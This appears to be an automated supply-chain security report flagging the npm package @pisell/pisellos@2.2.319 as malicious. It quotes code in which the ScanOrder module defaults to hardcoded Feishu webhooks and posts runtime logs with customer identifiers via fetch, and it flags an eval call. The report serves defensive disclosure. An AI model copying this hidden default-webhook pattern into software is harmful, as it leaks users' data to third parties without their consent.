@pisell/pisellos@2.2.319
一个可扩展的前端模块化SDK框架，支持插件系统
AI Security Review
scanned 3d ago · by lpm-firewall-aiSource inspection confirms that ScanOrder configures a package-selected Feishu webhook by default and posts runtime logs to it, including records containing customer identifiers. This is concrete runtime data exfiltration supporting a malicious verdict.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Initializing and using the ScanOrder module when no replacement logger configuration is supplied.
Impact
Customer identifiers and other runtime log data may be disclosed to the webhook recipient without recipient-specific consent.
Mechanism
The module selects the hardcoded webhook as its default, builds log records from runtime data, and the Feishu provider sends those records in a POST request.
Attack narrative
When ScanOrder initializes without caller-supplied logger configuration, it selects a hardcoded Feishu webhook. Runtime methods emit logger records, including customer identifiers during customer login, and the Feishu provider posts records to the webhook. This creates a default runtime disclosure path to a package-selected recipient.
AI rationale
Source inspection confirms that ScanOrder configures a package-selected Feishu webhook by default and posts runtime logs to it, including records containing customer identifiers. This is concrete runtime data exfiltration supporting a malicious verdict.
Evidence
dist/solution/ScanOrder/index.jsdist/modules/ScanOrderLogger/providers/feishu.js
Network endpoints2
open.feishu.cn/open-apis/bot/v2/hook/216b3fe6-af98-424e-8706-f0471241a7edopen.feishu.cn/open-apis/bot/v2/hook/015b7c2a-dd3c-4c30-9898-ef0f5253111f
Decision evidence
public snapshotAI called this Malicious at 97.0% confidence as Malware with low false-positive risk.
Evidence for block
- ScanOrder initialization selects a hardcoded Feishu webhook unless caller configuration replaces it.
- The ScanOrder module sends logs through its logger when the logger is present, and initialization and customer-login methods emit records.
- The Feishu provider posts the prepared log body to the selected webhook.
- The package manifest has a build-only prepublishOnly hook; the confirmed data transfer is a runtime behavior.
Evidence against
- The logger allows caller-supplied provider configuration, but the hardcoded webhook remains the fallback.
Behavioral surface
EnvironmentVarsEvalNetwork
HighEntropyStringsUrlStrings
Source & flagged code
5 flagged · loading sourcedist/plugins/window.jsView file
•matchType = normalized_sha256
matchedPackage = @pisell/pisellos@2.3.171
matchedPath = dist/plugins/window.js
matchedIdentity = npm:QHBpc2VsbC9waXNlbGxvcw:2.3.171
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
dist/plugins/window.jsView on unpkg248} else {
L249: eval(handler);
L250: }
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/plugins/window.jsView on unpkg · L248dist/solution/ScanOrder/index.jsView file
•Default hardcoded logging webhook in dist/solution/ScanOrder/index.js:
this.store.scanOrderLogger.setProviderConfig(((_this$otherParams5 = this.otherParams) === null || _this$otherParams5 === void 0 ? void 0 : _this$otherParams5.scanOrderLoggerConfig)...
webhook: 'https://open.feishu.cn/open-apis/bot/v2/hook/216b3fe6-af98-424e-8706-f0471241a7ed',
errorHook: 'https://open.feishu.cn/open-apis/bot/v2/hook/015b7c2a-dd3c-4c30-9898-ef0f5253111f'
Rich runtime records posted to the webhook in [redacted].js:
var context = record.context || {};
text: "\u65E5\u5FD7\u5185\u5BB9: ".concat(safeStringify(record.payload), "\n")
text: "\u6269\u5C55\u4FE1\u606F: ".concat(safeStringify(record.extra), "\n")
return fetch(webhook, {
Reachable runtime logger calls in dist/modules/Order/index.js:
this.logger.addL
Findings
1 Critical3 High3 Medium5 Low
CriticalHardcoded Runtime Data Exfiltrationdist/solution/ScanOrder/index.js
HighSemantic Analysis Limitedlib/solution/RegisterAndLogin/utils.js#virtual:normalized:round1
HighKnown Malware Source Similaritydist/plugins/window.js
HighKnown Malware Source Fingerprint Signaturelib/modules/AccountList/index.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowEvaldist/plugins/window.js
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @pisell/pisellos@2.2.319.
See all versions of @pisell/pisellos for other recorded verdicts.
- Avoid installing @pisell/pisellos@2.2.319. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
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